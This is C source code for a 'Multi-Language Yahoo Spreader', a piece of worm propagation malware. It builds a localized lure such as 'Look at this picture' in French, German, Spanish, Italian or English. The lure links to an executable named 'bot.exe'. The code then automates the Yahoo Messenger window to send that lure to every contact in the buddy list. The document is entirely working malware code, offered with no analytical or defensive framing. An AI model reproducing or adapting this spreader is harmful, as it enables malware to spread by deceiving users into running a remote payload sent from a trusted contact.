| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. | #include <stdio.h>
#include <windows.h>
#include <commctrl.h>
/*
By: OG
Multi-Language Yahoo Spreader.
Credits To: kurumi
*/
char *szWebLink = "http://www.google.com/bot.exe";
char *GetLanguage(char *szBuffer, unsigned int nSize)
{
switch (GetSystemDefaultLangID())
{
case 0x040c: /* French */
_snprintf(szBuffer, nSize, "regarder cette image %s", szWebLink);
break;
case 0x0407: /* German */
_snprintf(szBuffer, nSize, "Schauen Sie dieses Bild an %s", szWebLink);
break;
case 0x040A: /* Spanish */
_snprintf(szBuffer, nSize, "mire este retrato %s", szWebLink);
break;
case 0x0409: /* English */
_snprintf(szBuffer, nSize, "Look at this picture %s", szWebLink);
break;
case 0x0410: /* Italian */
_snprintf(szBuffer, nSize, "guardare quest'immagine %s", szWebLink);
break;
default: /* Default English */
_snprintf(szBuffer, nSize, "Look at this picture %s", szWebLink);
break;
}
return (szBuffer);
}
bool SendMessageToYahoo(char *szMessage)
{
HWND hwndYahooWindow, hwndClass;
HWND hwndMessage, hwndButton;
if (!(hwndYahooWindow = FindWindow("YSearchMenuWndClass", NULL))) { return false; }
if (IsWindow(hwndYahooWindow))
{
SendMessage(hwndYahooWindow, WM_COMMAND, 32891, 0);
if (!(hwndClass = FindWindowEx(hwndYahooWindow, 0, "IMClass", NULL))) { return false; }
if (IsWindow(hwndClass))
{
if (!(hwndMessage = FindWindowEx(hwndClass, 0, "YIMInputWindow", NULL))) { return false; }
SendMessage(hwndMessage, WM_SETTEXT, 0, (LPARAM)szMessage);
Sleep(100);
}
if (IsWindow(hwndClass))
{
if (!(hwndButton = FindWindowEx(hwndClass, 0, "Button", "&Send"))) { return false; }
SendMessage(hwndButton, WM_LBUTTONDOWN, 0, 0);
SendMessage(hwndButton, WM_LBUTTONUP, 0, 0);
Sleep(50);
}
}
if (IsWindow(hwndYahooWindow))
{
SendMessage(hwndYahooWindow, WM_CLOSE, 0, 0);
return true;
}
return false;
}
unsigned int Yahoo(char *szMessage)
{
HWND hwndYahooWindow, hwndWindow;
if (!(hwndYahooWindow = FindWindow("YahooBuddyMain", NULL))) { return 0; }
if (IsWindow(hwndYahooWindow))
{
SendMessage(hwndYahooWindow, WM_COMMAND, 32891, 0);
if (!(hwndWindow = FindWindowEx(hwndYahooWindow, 0, "YTopWindow", NULL))) { return 0; }
if (IsWindow(hwndWindow))
{
hwndWindow = FindWindowEx(hwndWindow, 0, "YTabListManager", NULL);
hwndWindow = FindWindowEx(hwndWindow, 0, "ATL:0084FD68", NULL);
hwndWindow = FindWindowEx(hwndWindow, 0, "SysListView32", NULL);
if (!hwndWindow) { return 0; }
if (IsWindow(hwndWindow))
{
for (int i = ListView_GetSelectionMark(hwndWindow); i >= 0; --i)
{
SendMessage(hwndWindow, WM_KEYDOWN, VK_UP, 0);
SendMessage(hwndWindow, WM_KEYUP, VK_UP, 0);
}
for ( i = 0; i <= ListView_GetItemCount(hwndWindow); ++i )
{
SendMessage(hwndWindow, WM_KEYDOWN, VK_DOWN, 0);
SendMessage(hwndWindow, WM_KEYUP, VK_DOWN, 0);
SendMessage(hwndWindow, WM_KEYDOWN, VK_RETURN, 0);
SendMessage(hwndWindow, WM_KEYUP, VK_RETURN, 0);
SendMessageToYahoo(szMessage);
}
}
}
}
return 0;
}
int main()
{
char szMessage[256];
if (GetLanguage(szMessage, sizeof(szMessage) - 1))
Yahoo(szMessage);
return 0;
} |